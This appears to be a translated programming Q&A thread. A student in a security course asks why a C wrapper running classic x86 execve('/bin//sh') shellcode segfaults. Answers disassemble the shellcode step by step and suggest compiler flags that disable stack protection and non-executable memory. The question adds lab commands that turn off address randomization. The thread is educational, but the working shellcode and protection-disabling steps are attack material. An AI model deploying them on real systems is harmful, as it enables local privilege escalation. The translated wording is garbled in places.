Running a shell with inline assembly

I am working on a school assignment and I am completely stumped. The professor and TP provided no help, as every answer they provide to any student is a variation of "keep looking, there is an answer." I am trying to create a wrapper using this code:

#include <stdio.h>
#include <stdlib.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;

int main(int argc, char **argv)
{
printf("running...\n");

char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}

      

I tried to replace code[]

with some other examples found online (including this site) as well as an example from an additional pdf provided by prof. None of them were helpful. I used gdb to parse and tried to build my own code[]

and that also failed. For what purpose, I can say that a normal user has my app segfaults on line ((void(*)( ))buf)( );

and just exits (without segfault notification) on the root user on the same line.

I have no idea where else to get this assignment, and I cannot work with any of the subsequent buffer overflow tasks until I can figure out this simple first step. Any help would be greatly appreciated.

EDIT: I forgot to mention, I've tried this on both OSX 10.8.2 and an Ubuntu VM via VirtualBox. I assume it won't work on OSX, but I was desperate. ha For Ubuntu we were asked to do:

sudo #sysctl -w kernel.randomize_va_space = 0

sudo apt-get install zsh kd / bin sudo rm sh sudo ln -s / bin / zsh / bin / sh

These commands should turn off address space randomization, install zsh, and link it to / bin / sh. I have completed all these tasks in the VM with no errors.

+3


source to share


2 answers


Your code is parsed something like this:

00000000  31C0              xor eax,eax
00000002  50                push eax
00000003  682F2F7368        push dword 0x68732f2f
00000008  682F62696E        push dword 0x6e69622f
0000000D  89E3              mov ebx,esp
0000000F  50                push eax
00000010  53                push ebx
00000011  89E1              mov ecx,esp
00000013  99                cdq
00000014  B00B              mov al,0xb
00000016  CD80              int 0x80

      

Courtesy of ndisasm

. Skip these instructions step by step and analyze the stack frame along the way.

xor eax,eax

zeroes the register eax

, since XORing the operand with itself will always return zero as a result. push eax

then pushes the value onto the stack. So the stack currently looks more or less similar (the offsets shown relative to the value esp

at the beginning of the code esp

means the stack location it points to esp

):

       +----------+
     0 | 00000000 |
esp -4 | xxxxxxxx |
       +----------+

      

Next, we have two instructions push dword

that push some instantaneous value onto the stack, which, when executed, looks like this:

       +----------+
     0 | 00000000 |
    -4 | 68732f2f |
    -8 | 6e69622f |
esp -12| xxxxxxxx |
       +----------+

      

esp

currently points to the last byte of the second immediate value that was pushed onto the stack. Try to interpret the popped values ​​as ASCII in the order in which they will be popped from the stack if we start sequentially from the current value esp

. We get a byte sequence 2f62696e2f2f7368

, which in ASCII is equal to /bin//sh

. Also, the sequence ends with 0, so it is a valid C string.

This is the main reason why the current value is esp

stored in the register ebx

. It contains the path to the executable file that will be launched. The double slash is not a problem for the OS, as POSIX simply ignores multiple occurrences of a slash and treats them as a single slash.

Then we will have the current values eax

and ebx

pushed onto the stack. We know that it eax

contains zero and ebx

contains a pointer to a C string "/bin//sh"

. The stack now looks like this:



           +----------+
         0 | 00000000 |
        -4 | 68732f2f |
        -8 | 6e69622f |
    ebx -12| 00000000 |
        -16| (ebxVal) |
ecx esp -20| xxxxxxxx |
           +----------+

      

After pushing the register values ​​onto the stack, the current pointer to is esp

stored in ecx

.

cdq

is a command that performs a very neat trick in this case: it marks - increases the current value eax

in a register pair edx:eax

. Therefore, in this case, it zeroes out the value in edx

, since the sign of the expansion of zero is zero. Of course, we could clear the value in edx

with xor edx, edx

, but this command is encoded in two bytes - and cdq

only takes one.

The following instruction places value 0xb

(11) in the lower byte register eax

. In the same way as in the previous case, we could just do it mov eax, 0xb

, but this will result in a 5-byte instruction, since the immediate ones must be encoded as full 32-bit values.

int 0x80

invokes a system call on Linux. He expects the system call number in eax

(which now is 0xb

, therefore, the function will be called sys_execve

), and additional arguments ebx

, ecx

, edx

, esi

, edi

and ebp

.

Now, let's take a look at the prototype for this system call:

int execve(const char *filename, char *const argv[], char *const envp[]);

      

Hence, the argument filename

is placed in ebx

- it points to /bin//sh

. argv

, put in ecx

, is an array of executable arguments to be executed and must be interrupted by a value NULL

. On Intel architecture, NULL

is 0

, and ecx

points to this: pointer to /bin//sh

, then value NULL

. envp

, which is NULL

, indicates an array of environment values ​​to be expressed as char*

form values key=value

.

Successful execution execve

causes the current process image to be replaced with a sharpened executable image executed with the supplied arguments. In this case, it /bin/sh

will execute (if it exists) with an argument /bin//sh

.

Michael was probably right about why this doesn't work: the latest Linux kernels mark data pages as non-executable, and attempting to execute them will result in a segmentation fault.

+10


source


Have you tried compiling your c program with the following gcc flags?

-fno-stack-protector -z execstack

      

If your shellcode is error free, you can execute it with



((void(*)( ))buf)( );

      

If you do not enable compilation flags, you may encounter segment errors

0


source







All Articles